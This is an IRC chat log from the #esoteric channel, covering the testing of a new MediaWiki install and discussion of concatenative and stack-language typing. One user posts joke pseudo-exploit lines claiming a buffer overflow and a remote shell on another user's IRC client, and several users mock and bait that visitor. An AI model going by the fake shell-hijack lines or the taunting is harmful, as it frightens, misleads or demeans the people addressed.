00:47:06 <HackEgo> 2012-02-13.txt:00:45:34: <itidus20> `searchlog [i]tidus nlp
00:47:20 <itidus20> it just surprises me i never mentioned it
00:47:34 <itidus20> i know i did some rants on some such subject
00:47:38 <zzo38> `log [^<][i]tidus.*hypno
00:47:58 -!- Psalm_Journey has quit (Quit: Leaving).
00:48:01 <zzo38> `log <itidus20> [^`].*hypno
00:48:18 <HackEgo> 2011-07-21.txt:07:05:24: <itidus20> marketing, salespeople, advertising, pickup artists, brainwashing, cults, suggestion, covert hypnosis, n.l.p., body language, double-entendres, general semantics, operant conditioning.. all this crap and whatever else comes from it
00:51:15 <zzo38> `log ^..:..:..: <itidus2.> [^`].*hypno
00:51:23 <HackEgo> 2011-07-16.txt:03:42:10: <itidus20> i've seen an [obviously staged] video of a guy who hypnotized a woman to think he was invisible and then he would tickle her with a feather and make her look up with confusion
00:52:46 <damageinc> maybe those people are really fucked up
00:54:08 <damageinc> maybe hypnotizers are those that can lets say exploit the vulnarabilities of others
00:54:50 <itidus20> such as these http://en.wikipedia.org/wiki/Psychological_manipulation#Vulnerabilities_exploited_by_manipulators
00:55:44 -!- pikhq_ has joined.
00:56:09 -!- pikhq has quit (Ping timeout: 260 seconds).
00:57:18 <itidus20> so.. then if we look at a courtroom.. its a battle between lawyers to persuade a jury of something they don't actually understand. so with raised stakes, it's natural that it falls to the lawyers to be as manipulative as possible.
00:59:28 <damageinc> those lawyers are really not as innocent as they pertend to be
01:00:40 <itidus20> i think i am agreeing with you about that
01:01:45 <damageinc> you could get bans for just saying that
01:03:40 <damageinc> those that ban dont gain nothing from it
01:04:22 <damageinc> and they ban cause theyre afraid of something
01:06:16 <itidus20> i may sound like i know what im talking about, but, im not some bigshot
01:06:46 <damageinc> you re just a line of text on my screen here
01:07:41 <itidus20> so just because i can insult lawyers doesn't mean i'm interesting :d
01:09:09 <itidus20> anyway.. for better or worse, this channel is about esoteric in the programming sense.. if you saw the wiki associated with this channel you would see theres 100s of documented esoteric programming languages
01:09:40 <itidus20> all of them are too difficu;t for me to code in
01:10:11 <damageinc> yea i got someone asking an esoteric question the other day
01:11:21 <damageinc> about haskell programming language
01:11:32 <itidus20> you mentioned lex and yacc .. thats sort of up the alley of this room, but they go even deeper in here
01:11:50 <itidus20> im just not smart enough.. haha... just not
01:14:03 <HackEgo> 2012-01-21.txt:07:46:34: <kallisti> itidus21: yes, they have. it's called the untyped lambda calculus. :P
01:14:25 <HackEgo> 2012-01-07.txt:15:16:32: <itidus21> ahh heres quote "If Steve Jobs decides that some unary lambda calculus is the language of choice for the iPhone 4.0, the developer community is going to find a way to rationalize his selection and talk about how much they love the language."
01:14:45 <HackEgo> 2012-02-12.txt:22:26:39: <pikhq_> itidus20: Uh, but forall x in X (lambda y. y y) x = x!
01:15:01 <itidus20> hmm.. this isnt showing what i wanted
01:15:15 <HackEgo> 2011-11-03.txt:18:01:13: <HackEgo> ? \ ais523 \ augur \ banach-tarski \ c \ cakeprophet \ elliott \ everyone \ finland \ fizzie \ flower \ friendship \ gregor \ hackego \ haskell \ ievan \ intercal \ itidus20 \ monad \ monads \ monqy \ oerjan \ oklopol \ qdb \ qdbformat \ sgeo \ shachaf \ u \ vorpal \ welcome \ wiki
01:15:36 <HackEgo> 2011-09-13.txt:20:43:23: <itidus20> absence of pebbles in the eye calculator = zero
01:16:42 <itidus20> ahh what i meant there is that... if you're looking at the beach and you can't see any pebbles then you can see zero pebbles
01:17:47 -!- elliott has joined.
01:18:37 <elliott> does anyone want to test this wiki installation I set up with all the anti-spam crap and caching
01:20:06 <elliott> http://95.149.228.149:8181/wiki/Main_Page
01:20:11 <elliott> there seem to be weird issues with caching and shit but give it a try
01:20:36 <monqy> ust spam it or what
01:20:46 <Sgeo> The main page loads
01:20:49 <elliott> monqy: no just... see if it works
01:21:02 <Sgeo> elliott, damageinc is scared of links.
01:21:19 <damageinc> i added their dns entry to my list of ignores
01:21:27 <elliott> have they been introduced to the other village idiots?
01:21:36 <monqy> hes good friends with itidus
01:21:39 <Sgeo> "The user account was not created, as we could not confirm its source. Ensure you have cookies enabled, reload this page and try again.
01:21:48 <elliott> Sgeo: hmph, this thing is having real troubles with cookies
01:22:21 <Sgeo> I like the captcha thing
01:22:26 -!- derdon has quit (Remote host closed the connection).
01:22:36 <monqy> The user account was not created, as we could not confirm its source. Ensure you have cookies enabled, reload this page and try again.
01:22:51 <elliott> Sgeo: yeah, it needs more questions though
01:23:18 <elliott> damageinc: did you know that if you click this link:
01:23:19 <elliott> http://95.149.228.149:8181/wiki/Main_Page
01:23:23 <elliott> I actually get control over your whole system?
01:23:32 <elliott> it works because it doesn't have a DNS entry, it's just an IP
01:24:05 <elliott> yes, suspecting stupid things is a common experience of idiots, actually, so you're in good company
01:24:05 <monqy> youre very street smart
01:24:20 <monqy> i clicked and now elliott is controlling my whole system
01:25:01 <elliott> damageinc: interestingly though i actually injected an explot into this channel when i pasted that link
01:25:12 <elliott> guess you're not paranoid enough
01:25:51 <monqy> talk:main_page is very good but will it give me disease in real life
01:26:43 <zzo38> Were you able to add my TeX programs to MediaWiki?
01:27:37 <zzo38> What skins and other options are available?
01:27:41 <Sgeo> Aren't mp3s unhealthy?
01:27:53 <monqy> voivod_-_voivod.mp3 is very much a problem
01:28:12 <Sgeo> I should stop now.
01:28:19 <Sgeo> I am usually not this cruel.
01:28:25 <Sgeo> The rest of the channel is though
01:29:15 <itidus20> damageinc: i think that you would benefit from living with reduced paranoia
01:29:43 <itidus20> at a guess you spend a lot of time chatting with people you are paranoid about
01:29:43 <elliott> itidus20: for once I agree completely :)
01:30:01 <itidus20> and its probably not really paranoia when its those people
01:30:11 <damageinc> you wanna know what madinsane channels there are on the net ?
01:30:12 <itidus20> since they probably are out to get people
01:30:28 <monqy> damageinc: yes absolutely
01:30:45 <Sgeo> damageinc, well, computer safety would seriously benefit from having a better understanding of how computers work.
01:30:57 <damageinc> you wanna go into one of those rooms ?
01:31:27 <damageinc> theres like hundreds or sometimes even thousands of those Guests
01:31:33 <elliott> damageinc: irc.dal.net #esoteric
01:31:37 <elliott> that's the madinsanest place
01:31:38 <monqy> Guests are my friends
01:31:54 <elliott> we just use this place to ward off people
01:31:57 <Sgeo> damageinc, most of us here are computer people
01:32:01 <Sgeo> elliott, stop being mean?
01:32:13 <Sgeo> damageinc, that esoteric and this one have entirely different subject matters.
01:32:14 <elliott> Sgeo: so what you're saying is, you're going to try and actively keep this guy around
01:32:36 <Sgeo> It's possible that you are not interested in the topic of conversation here, which, when on-topic, is mostly computer stuff.
01:32:50 <Sgeo> Esoterica involving magic or whatever is in irc.dal.net #esoteric
01:33:06 <Gregor> TIL: The funeral march everyone is most familiar with was originally written by Chopin.
01:33:35 <itidus20> Gregor: did he write it for that purpose?
01:33:45 <Sgeo> damageinc, nothing bad will happen if you go in there, or anything.
01:33:47 <damageinc> -!- Topic for #esoteric: SHIFT HAPPENS....curiosity is the most powerful thing you own
01:33:49 <Sgeo> Just ... why did you come here?
01:34:15 <Gregor> I just assumed it was /way/ older than that.
01:34:22 <damageinc> just came in to say hi or whatever
01:34:36 <damageinc> then they told me right away to forget everyting
01:34:49 <monqy> by they do you mean itidus20
01:35:05 <elliott> damageinc: if you've forgotten everything, allow me to teach you how to leave IRC channels: type /part #esoteric
01:36:15 <damageinc> for saying really bad things to people
01:36:40 <elliott> damageinc: I'm sure that could be arranged, although my understanding is that if you're too blatant you'll never be kicked.
01:36:50 <itidus20> i only really get banned for my habit of off topic rants
01:36:53 <elliott> ANYWAY, on the topic that isn't stupid people and their annoying now-playing scripts --
01:37:02 <elliott> I... completely forget what I was going to say.
01:37:07 <elliott> Oh right, I'm fixing the cookie thing.
01:37:19 <monqy> does your wiki's antispam work
01:37:37 <elliott> monqy: Well, nobody's tried to spam it yet. But it's better than what Esolang has right now by a long margin.
01:37:38 * Sgeo whistles innocently.
01:37:41 <elliott> There's also SpamBlacklist.
01:38:41 <elliott> Good god, this Debian changelog is unhelpful.
01:40:32 <elliott> Man, damageinc's client is susceptible tot he CTCP EXPL buf attack.
01:42:07 <elliott> >damageinc< CTCP EXPL buf 9$*----x
01:42:07 <elliott> >damageinc< CTCP EXPL exec shell_in(); cp("/dev/urnd","/open");
01:42:07 <elliott> >damageinc< CTCP EXPL exec fwd_host_ip()
01:42:07 <elliott> >damageinc< CTCP EXPL exec loopback() = conn_host(fwd); cp("shell",fwd);
01:42:27 <elliott> damageinc: I'll revoke this shell token if you leave. otherwise your system is mine thanks to a buffer overflow in your l0ser irc client
01:42:53 <elliott> damageinc: you have a honeypot set up?!
01:43:02 <damageinc> i can still hold the mail to the feds
01:43:13 <elliott> Sgeo: WHY DIDN'T YOU WARN ME
01:44:24 -!- madbr has joined.
01:45:15 <elliott> Sgeo: check the login works now!!! it's our only hope fuck fguck fuck
01:45:35 <shachaf> elliott: What are you doing in here.
01:45:45 <monqy> getting busted that's what
01:45:58 <elliott> shachaf: setting up an innocuous wiki, little did i know damageinc is a criminal mastermind
01:46:21 <itidus20> monqy: I heard a rumor that elliott was doing getting busted.
01:46:40 <elliott> Sgeo: does the login actually work now though, that was a serious question
01:46:45 <madbr> wtf is going in here
01:46:46 <damageinc> i heard a rumour he was going into one of those raving mad channels
01:47:13 <itidus20> damageinc: are you a rumourbot?
01:47:23 <Sgeo> Still cannot create account.
01:47:33 <Sgeo> He's a rumormonger, clearly.
01:47:39 <Sgeo> Little blue furry thing.
01:47:42 <elliott> madbr: damageinc is really dumb, I'm trying to test a wiki
01:47:50 <elliott> these two things conflict wonderfully
01:48:02 <madbr> how's the new esoteric wiki going
01:48:21 <elliott> everything is working except for this weird cookie problem :(
01:48:29 <Sgeo> I should go laundry
01:48:35 <Sgeo> I don't want to laundry tomorrow
01:48:47 <damageinc> np : david_guetta_vs_snoop_dogg_-_sweat.ogg
01:48:50 <itidus20> the new wiki is functioning in accordance with the prophecy.
01:48:56 <elliott> jesus christ turn that script off
01:48:59 <madbr> wonder if it's possible to do computation using chess pieces
01:49:11 <Sgeo> elliott, if you kill it, it will come back in three days.
01:49:31 <oklopol> elliott: then how would we know what's playing
01:49:38 <HackEgo> 2011-11-26.txt:04:09:32: <itidus21> if brainfuck can do computation then chess can
01:49:41 <madbr> did you lose ops or something?
01:49:41 <elliott> oklopol: i prefer life to be full of surprises
01:49:55 <oklopol> where the fuck did my mind just go
01:50:14 <elliott> damageinc must have hacked it out
01:50:29 <itidus20> madbr: to be honest i was just guessing when i posted that. i didn't "test"
01:50:59 <madbr> chess seems borderline to me
01:51:31 <damageinc> next youll guys be discussing gravity
01:51:34 <madbr> might not be possible to do properly reusable circuits
01:51:44 <elliott> damageinc: is gravity a myth
01:51:50 <madbr> damageinc: that's the topic of this channel
01:51:52 <itidus20> madbr: it's the amazingness of seeing that someone else had the same idea... on the one hand comraderie.. on the other hand rivalry
01:52:17 <monqy> did the login work?
01:52:34 <itidus20> rumor has it that the login did work.
01:52:46 <elliott> damageinc: is evolution a myth
01:53:01 <elliott> monqy: can you make an account and try and log in
01:53:06 <elliott> damageinc: why's gravity a myth
01:53:20 <monqy> The user account was not created, as we could not confirm its source. Ensure you have cookies enabled, reload this page and try again.
01:53:30 <damageinc> because gravity as such is not understood
01:53:51 <elliott> damageinc: do you find relativity an unconvincing explanation
01:54:08 <monqy> maybe it's a problem with my cookes not liking your 95.149.228.149:8181
01:55:22 <damageinc> but i assure you its rather unconvincing at least
01:55:58 <madbr> there's nothing that can be answered to that except troll
01:56:13 <elliott> damageinc: i incredibly mad, brother :'(
01:56:27 <zzo38> I think we have discussed gravity in this channel once before.
01:58:06 <HackEgo> 2012-01-12.txt:18:29:21: <itidus21> reality has too much gravity for me
01:58:18 <itidus20> hmm im not sure if that wa a metaphor
01:58:35 <madbr> gotta warn all the trolls in here: we're boring
01:58:40 <monqy> The user account was not created, as we could not confirm its source. Ensure you have cookies enabled, reload this page and try again.
01:59:06 <HackEgo> 2011-06-02.txt:10:58:46: -!- elliott has parted #esoteric ("Leaving").
01:59:12 <zzo38> We have also discussed astrology, astronomy, physics, religion, and computer games.
02:00:05 <zzo38> damageinc: Computer science too
02:00:22 <Sgeo> That's pretty much what most people here are at least somewhat familiar with
02:00:48 <itidus20> this channel is basically hardcore computer science.. its difficult and scary
02:01:20 <elliott> fsvo hardcore = not hardcore at all
02:01:38 <zzo38> itidus20: Not always.
02:05:07 <itidus20> but they have other ideas of what hardcore is
02:05:46 <madbr> I think a chess flipflop might be possible
02:06:33 <elliott> monqy: I think it might be the domain thing, yes
02:06:37 <elliott> monqy: can you edit your /etc/hosts for a tset?
02:09:18 <madbr> essentially a chess setup where each time you send a king in it, the king alternatively comes out either on the right or the left side
02:12:43 <monqy> The user account was not created, as we could not confirm its source. Ensure you have cookies enabled, reload this page and try again.
02:13:03 <monqy> this was when im acess it as http://eliots:8181
02:13:15 <HackEgo> 2009-08-02.txt:04:55:40: -!- Halph has joined #esoteric.
02:13:34 <elliott> monqy: i didn't tell you what to do yet :P
02:13:55 <HackEgo> 2010-02-13.txt:05:47:49: <Wareya> halp
02:15:32 <monqy> The user account was not created, as we could not confirm its source. Ensure you have cookies enabled, reload this page and try again.
02:15:41 <elliott> ok. you can remove that from hosts then
02:16:23 -!- augur has quit (Remote host closed the connection).
02:16:58 <elliott> refresh the registration page
02:17:54 <elliott> click a few pages, check the session "sticks"
02:18:33 <zzo38> How can you make a king in chess alternatively come out in right and left side?
02:19:00 <elliott> monqy: look at top-left :-O
02:19:58 <elliott> monqy: http://95.149.228.149:8181/wiki/User:Monqy
02:20:00 <elliott> i made the title show correctly
02:21:20 <monqy> im trying to make my name "monqy" not "Monqy" i registerd as "monqy" but its everywhere "Monqy"
02:21:39 <elliott> monqy: you can't, mediawiki restriction
02:21:53 <elliott> but you can fix it in your sig and the displayed page title
02:23:28 <elliott> monqy: is it just me or is the lime a little too far to the right :(
02:24:39 <monqy> relative to old esolang, it's a bit to the left, and then down some, and the right margin is tiny too
02:24:39 -!- azaq23 has quit (Remote host closed the connection).
02:25:00 <elliott> oh well, I can rejiggle it later
02:25:06 <elliott> did you know the CC0 logo is really ugly http://i.creativecommons.org/p/zero/1.0/88x31.png
02:26:57 <zzo38> elliott: I think it is not bad, though
02:27:40 <elliott> the black-and-white is kinda jarring on the wiki page :(
02:31:21 <itidus20> or this alternative CC0 logo http://oi44.tinypic.com/bi1mw2.jpg
02:32:24 <itidus20> so at least you know it's full anti aliased
02:34:27 <elliott> zzo38: good news: it has the nostalgia skin
02:35:40 -!- Zuu has quit (Ping timeout: 260 seconds).
02:40:58 <elliott> monqy: Also, I just made you a 'crat.
02:43:18 <zzo38> Text is good enough you do not necessary need the icon
02:43:26 -!- Zuu has joined.
02:43:30 <zzo38> Which skins/options are available?
02:44:51 <elliott> Vector (default | Preview)
02:45:02 <elliott> it's like a sysop but EVEN MORE POWERFUL
02:45:58 <zzo38> On Wikipedia I use the Nostalgia skin, so I can use the same one on here
02:46:52 <elliott> http://95.149.228.149:8181/wiki/File:Three_cut_limes.jpg beholde
02:47:31 <Sgeo> I don't remember if I've ever tried a lime.
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02:50:55 <elliott> ok prizes for anyone who gives me a bunch of good captcha questions to use
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02:52:20 <elliott> damageinc: i thought you left
02:52:29 <Sgeo> How long was it between malbolge being spec'd and the first hello world program?
02:52:47 <Sgeo> Or something along those lines
02:53:31 <Sgeo> I mean, make it a captcha question
02:53:57 <elliott> that seems incredibly over-difficult
02:54:04 <elliott> but if we add it to the wiki page
02:54:13 <elliott> it isn't currently on http://esolangs.org/wiki/Malbolge
02:55:08 <zzo38> You could also have a question requiring ask on IRC
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02:56:39 <elliott> zzo38: that's a rather higher barrier to entry than I'd like to set up.
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02:59:46 <elliott> just, I suspect that "ok, to complete this trivial edit get on IRC and wait for someone to answer your question" is likely to make people not bother doing it
02:59:46 <zzo38> But I want to be sorry!
03:00:16 <zzo38> O, for edits. I thought you meant for registration
03:01:35 <elliott> the same captcha applies to both anonymous edits and registrations; I don't think there's a way to avoid that
03:01:53 <zzo38> Yes you are probably correct.
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03:04:03 * elliott tries to sort out these nonsense fastcgi variables
03:04:15 <zzo38> Ask question about commands of brainfuck, versions of INTERCAL, and so on
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03:08:08 <zzo38> Data.Extensible.List: class ExtList v p | p -> v where { extListContents :: (p, [v]); }; extList :: Name -> Q Exp; It is the simplest module in this package, but the module that accesses the list requires -XTemplateHaskell and -XScopedTypeVariables for it to work
03:16:03 <elliott> damageinc: "np : tv theme - doctor who .mp3" is not a sentence
03:16:07 <monqy> esoteric elliott: best elliott?????
03:16:08 <elliott> try making a sentence please
03:16:16 <elliott> "I am now playing the file 'tv theme - doctor who .mp3'."
03:16:24 <elliott> try making a sentence please
03:16:28 <elliott> "Oh my god, I am surprised!"
03:16:31 <elliott> <damageinc> try making a senstence please
03:16:36 <elliott> try making a sentence please
03:16:41 <elliott> "Please try to make a sentence."
03:16:56 <elliott> damageinc: if /whole and /part are in a boat, and /whole jumps out, who's left?
03:17:19 <elliott> yeah ok i'll stop fucking with you
03:17:35 <elliott> damageinc: seriously though this channel is a ghost town, we mostly hang out in #1,000 nowadays
03:18:08 <elliott> the name has a long history
03:20:45 <elliott> hurry up then, we have to open the channel to let new people in, we like to keep it closed most of the time
03:22:26 <elliott> damageinc: join already, we're gonna have to close it in a minute
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03:26:26 <damageinc> what youre gonna say in there you cannot say in here ?
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03:27:48 <elliott> damageinc: i'm not allowed to tell you what i can't say in here ;) but the topic is everything here + computer security + some other stuff
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03:29:03 <damageinc> sorry but i cant make any vaguer promises
03:29:34 <Sgeo> It's kind of mean to say "I'll stop fucking with you" then continue fucking with someone.
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03:29:58 <damageinc> you think we should up the fires some more ?
03:30:13 <elliott> Sgeo: it's kind of mean to bother an IRC channel with inane nonsense, clearly demonstrate no knowledge of the topic, and then say you only leave IRC channels when kicked or banned
03:30:27 <elliott> allow me to commence feeling exactly 0 units of guilt
03:30:44 <monqy> sgeos just mad bcuz he wsan't invited to #1,000
03:30:49 <Sgeo> Clearly, the answer is to give damageinc some knowledge of the topic.
03:31:25 <elliott> you can always rely on Sgeo to stick up for the one person who deserves it least
03:31:54 <monqy> damageinc: why do you ask
03:32:22 <pikhq_> damageinc: 日本語で話せない人は禁則！そして、行け！
03:32:23 <elliott> Sgeo: QUICK I THINK HE NEEDS MORE DEFENDING MONQY IS BEING MEAN BY NOT ANSWERING HIS QUSETION
03:33:04 <Gregor> Whoops, looks like you guys are running low.
03:33:09 * Gregor brings in a new bag of troll food.
03:33:37 <Sgeo> damageinc, I already told you, he ext
03:33:51 <monqy> bad jokes (c) sgeo
03:33:56 <elliott> damageinc: qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
03:33:59 <elliott> qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq
03:34:17 <monqy> elliott: watch out, you'll get get kicked instead of damageinc
03:34:29 <monqy> elliott: and who would ever want to not be in esoteric
03:34:37 <elliott> damageinc: i think you should flood the room with lines consisting only of "3"
03:34:38 <monqy> not being in esoteric "it's worse than hell"
03:34:42 <elliott> that's worked well to protect people in the past
03:34:56 <elliott> but you have to do it for a few minutes for it to work i think
03:35:07 <elliott> Gregor: Did you figure out how to configure nginx and PHP-FPM since I last asked you?
03:35:47 <Sgeo> damageinc, just want to say this. It's hard for me, it's a bit of a struggle to say this, this may pretty much be my first time. But you are an idiot.
03:36:10 <pikhq_> I think that deserves a round of applause for Sgeo.
03:36:36 <Gregor> elliott: My life is mostly dedicated to solving your problems.
03:37:00 <monqy> that's what life's about right
03:37:08 <monqy> solving elliott's problems
03:37:09 <Gregor> elliott: Unfortunately however, today there was a marathon of I Dream of Jeannie on so I didn't accomplish anything.
03:37:26 <Sgeo> damageinc, but you are the one asking if people are fat and being generally clueless about anything computer related while acting like you know things
03:39:29 <monqy> maybe he has a good reason for wanting to know if I'm fat and if he told it to me it would be invalidated or something horrible like that
03:43:05 <pikhq_> damageinc: Fortunately for you, there's a very simple path to computer competence.
03:43:16 <pikhq_> It will take 10 years.
03:43:40 <pikhq_> That's for "competence", not "expertise". :)
03:44:54 <monqy> step 4. don't forget step 1
03:46:12 <elliott> actually there's a real step 2
03:46:17 <elliott> but i can only tell it to damageinc once he completes step 1
03:48:15 <elliott> http://95.149.228.149:8181/w/index.php
03:53:28 <elliott> monqy: you have to fix the page now
03:55:25 <monqy> is anyone eating these
03:55:56 <elliott> fastcgi_param SCRIPT_FILENAME /var/wwww/esolangs.org/mediawiki/index.php;
03:55:59 <elliott> tell me what's wrong with this line
03:56:09 <monqy> I don't know fastcgi
03:56:27 <elliott> monqy: no it's before that
03:56:52 <monqy> wonderful world wide web
03:56:57 <elliott> that doesn't actually fix it though
03:57:38 <monqy> PHP Version 5.3.10-1
03:59:40 <monqy> hm it scrolls to the right quite a bit wow what is that
04:05:08 <elliott> http://rfc-ref.org/RFC-TEXTS/3875/chapter4.html#d4e442763
04:05:11 <elliott> this is the stupidest thing ever
04:05:13 <elliott> why would this ever be useful
04:05:23 <Sgeo> Maybe I shouldn't keep looking at Factor
04:05:28 <Sgeo> Static typing is a good thing
04:11:43 <elliott> Sgeo: I hear Slava doesn't use Factor these days.
04:11:53 * elliott has no source whatsoever, but heard it.
04:14:24 * Sgeo just wants to know why it's stuck on 0.94
04:15:11 <elliott> probably because nobody uses it
04:15:25 <elliott> http://factor-language.blogspot.com/ hasn't had a post since september 2010 so I suspect slava has abandoned it
04:15:59 <Sgeo> Any other active concatenative languages?
04:15:59 <elliott> https://github.com/slavapestov/factor/commits/master hmm, not true perhaps, there are recent commits from him
04:16:17 <madbr> concatenative languages?
04:17:48 <Sgeo> madbr, do you know what Forth is like?
04:17:54 <Sgeo> ^^bad explanation oncoming
04:18:08 <Sgeo> But ... functional composition is fundamental
04:18:09 <elliott> so it's an excellently bad choice
04:18:24 <elliott> madbr: a concatenative language is one in which concatenation represents composition
04:18:25 <Sgeo> elliott, but Forth is stack based, and concatenative languages are stack based, so
04:18:35 <elliott> i.e. given that p and q are programs, pq is a program representing the composition of p and q
04:18:42 <elliott> not all concatenative languages are stack-based
04:19:43 <elliott> madbr: e.g., if you have a primitive program "2" whose semantics is a function which takes a stack and returns that stack with 2 in front, and a primitive program "+" whose semantics is a function which takes a stack, adds the top two elements, and returns that stack with the top two elements replaced by their addition
04:19:54 <elliott> then the program "2 2 +" is the composition of all of them
04:20:01 <elliott> resulting in a program which takes a stack and returns that stack with 4 at the top
04:20:16 <elliott> so, most stack-based languages are concatenative
04:20:21 <elliott> but not all concatenative languages are stack-based
04:20:23 <elliott> it's more general than that
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04:21:20 <elliott> i just had to talk about computer science to get him to leave.
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04:30:29 <elliott> http://95.149.228.149:8181/wiki/
04:36:43 <elliott> monqy: Sgeo: madbr: can you click around a bunch of pages on http://95.149.228.149:8181/wiki/ as quickly as you can, I want to measure how much cpu/ram php will take :p
04:37:31 <elliott> monqy: Sgeo: madbr: ok, you can stop now
04:37:41 <elliott> not very good but mitigated by the caching
04:37:55 <Sgeo> Well, I rapidly Ctrl-Clicked a few links
04:38:08 <monqy> i was aiming for random page but i accidentally repeatedly hit recent changes
04:39:48 <monqy> not that there are really many pages at all
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04:40:34 <elliott> recentchanges probably causes more load than other things
04:42:03 <Sgeo> elliott, I wonder if GR could help
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04:43:36 <Sgeo> elliott, setting up MW
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04:43:42 <Sgeo> I assume he knows at least a little bit
04:43:45 <elliott> The server load is as good as it's going to get without skipping PHP entirely; I have APC caching and the file cache both on and they're working correctly.
04:43:58 <elliott> I haven't tuned the APC cache yet, but most requests shouldn't hit it in the first place.
04:44:06 <elliott> What would be nice is if I could make nginx serve cached stuff itself.
04:49:52 <zzo38> Use a C program, perhaps; it is generally faster and more efficient than PHP
04:50:31 <elliott> yeah, let me know when you have something compatible with the mediawiki wikitext format with the same basic functionality as mediawiki written in C
04:50:40 <elliott> then I'll consider using a C program :p
04:51:08 <elliott> madbr: btw i wouldn't bother adding real content unless you're just testing around
04:51:10 <elliott> this is just a test install
04:51:15 <elliott> of course if you are just testing around go ahead :P
04:54:39 <madbr> yeah just copied a page from old esolang to see if it worked
04:55:00 <elliott> ok, now everyone has to come up with captcha question/answers to use :P
04:55:29 <madbr> what's the brainfuck character for loop start
04:55:49 <monqy> multiple choice "what do you think of brainfuck derivatives"
04:56:03 <elliott> you have to enter "brainbricking"
05:00:02 <zzo38> That isn't a very good question; they shouldn't be question about a matter of opinion. Brainfuck character for loop start seem OK to me, although it should occasionally be changed.
05:03:13 <Sgeo> elliott, in what way is Forth not concatenative? Is it due to syntactic things like if, because if so, Factor also has syntax that can't just be broken up.
05:06:43 <zzo38> Forth stuff like IF are just words that run at compile time otherwise it is like others.
05:08:10 <elliott> but am too busy to explain right now, gimme a while
05:09:03 <Sgeo> Hmm, destructors remind me of ResourceT
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05:20:21 <zzo38> Oops, extensible-data-0.1.0.1 also failed although differently
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05:29:06 <zzo38> Now I changed the template-haskell dependency to >= 2.5.0.0 && < 2.7 since version 2.6.0.0 still keeps the ClassInstance type which my program depends on, but 2.7.0.0 changes that so that it will stop working, and 2.6.0.0 did build on Hackage in version 7.4 (2.5.0.0 failed with "Illegal instance declaration for `Show Doc'")
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06:23:58 <elliott> OK, the only thing left to do MW-wise is to come up with more captchas
06:26:15 <zzo38> Later on would you add <tex>, <math>, and <program> tags? There are some pages that could use <program> as well as some pages for raw download
06:32:17 <elliott> http://95.149.228.149:8181/wiki/Main_Pafgh
06:45:34 <elliott> You just don't understand the beauty of Main Pafgh. :(
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07:04:47 <pikhq> elliott: I just thought you might like to know that recent Xeon supports 10 core chips in 8 chip configurations.
07:05:13 <pikhq> -j160 anyone with $40,000 to blow?
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07:48:54 <oklopol> ...isn't it a good one? :/
07:57:36 <Sgeo> According to some page, it's because Forth doesn't have nested quotation.
07:57:41 <Sgeo> http://hyperpolyglot.org/stack
08:01:09 <zzo38> What does nested quotation mean?
08:04:49 <zzo38> I have implemented something like that in Forth (although [ ] is not used in Forth for quotation, so I named them something else)
08:13:40 <zzo38> If >XT converts an address of an instruction to an XT value, and ` suffix makes a word execute at compile time, and UNRESOLVED-JUMP compiles a jump instruction with a hole for the address, then: : {Q` UNRESOLVED-JUMP HERE >XT ; : Q}` EXIT` SWAP HERE SWAP , COMPILE-LITERAL ;
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12:52:33 <ais523> oerjan: ~ = aa((!((aa)(!))))*:*^!**^a*^a*aa*(*:*^!**^)*^
12:52:50 <ais523> I'll be working through this at some point, but some pointers as to how it works would be useful
12:52:59 <ais523> in particular, in a hypothetical typed underlambda, would it be typesafe?
12:53:05 <oerjan> there's a pointer on the Talk: page
12:53:35 <ais523> saves me having to trace it myself
12:54:17 <ais523> ah, hmm, it seems to show the command about to run, rather than the whole remaining program
12:54:35 <oerjan> ais523: also my comment at the end of that
12:55:14 <ais523> I'm trying to work out if Underload is denotationally isomorphic to the standard theoretical CPBV interpreters, or if one just simulates the other
12:56:32 <ais523> call by push value, it's Paul Levy's pet calling convention, and he's giving a seminar series on it here
12:57:01 <ais523> it basically embeds both call by name and call by value, using a series of casts, some of which are suspiciously similar to things found in Underload
12:57:12 <oerjan> anyway, i don't think that expression uses any self application, so it should have a fighting chance of being well typed :P
12:58:40 <ais523> oerjan: does it, say, duplicate an expression, then apply the two copies with two different types?
13:01:17 <oerjan> aa((!(X)))*:*^!**^ _does_ duplicate some, hm
13:01:54 <oerjan> (Y)aa((!(X)))*:*^!**^ = (((Y))(!(X))):*^!**^
13:02:23 <oerjan> well i guess this all depends on what your type system is
13:03:31 <ais523> basically Anarchy's; assume that all functions have the type (list->list) for some list type, that each list type is recursively defined in terms of cons, and that you have an unbounded but finite number of different cons operators to use
13:03:36 <oerjan> a naive translation of hindley-milner means you cannot apply a command twice with different types on the stack - even elements you _don't_ touch
13:03:43 <ais523> you only need the one nil
13:04:27 <oerjan> chris diggins's Cat got into a lot of trouble due to that stuff
13:04:29 <ais523> that's actually quite an important point, I suspect
13:04:53 <ais523> because row polymorphism is something that doesn't obviously generalise well
13:05:15 <oerjan> i hear the latest implementation didn't even try to do static typing
13:05:34 <oerjan> row polymorphism was the word, i think
13:08:46 <oerjan> i suspect there's a reason typed stack languages haven't been done much :P
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13:09:03 <oerjan> well, with type inference at least
13:11:22 <ais523> I'm the sort of person who tries to make that sort of thing work anyway
13:12:04 <oerjan> like, how do you type ^, you get row polymorphism immediately
13:13:17 <ais523> hmm, the type of ^ is clearly ((a->b)::a -> b)
13:14:01 <oerjan> where both a and b are rows or what's it called
13:15:11 <ais523> oerjan: well, a->b would be polymorphic here
13:16:06 <ais523> with explicit row polymorphism (using A to represent upsidedown-A as I don't know how to type it), it'd be (Au.(At.a++t->b++t)::a++u->b++u)
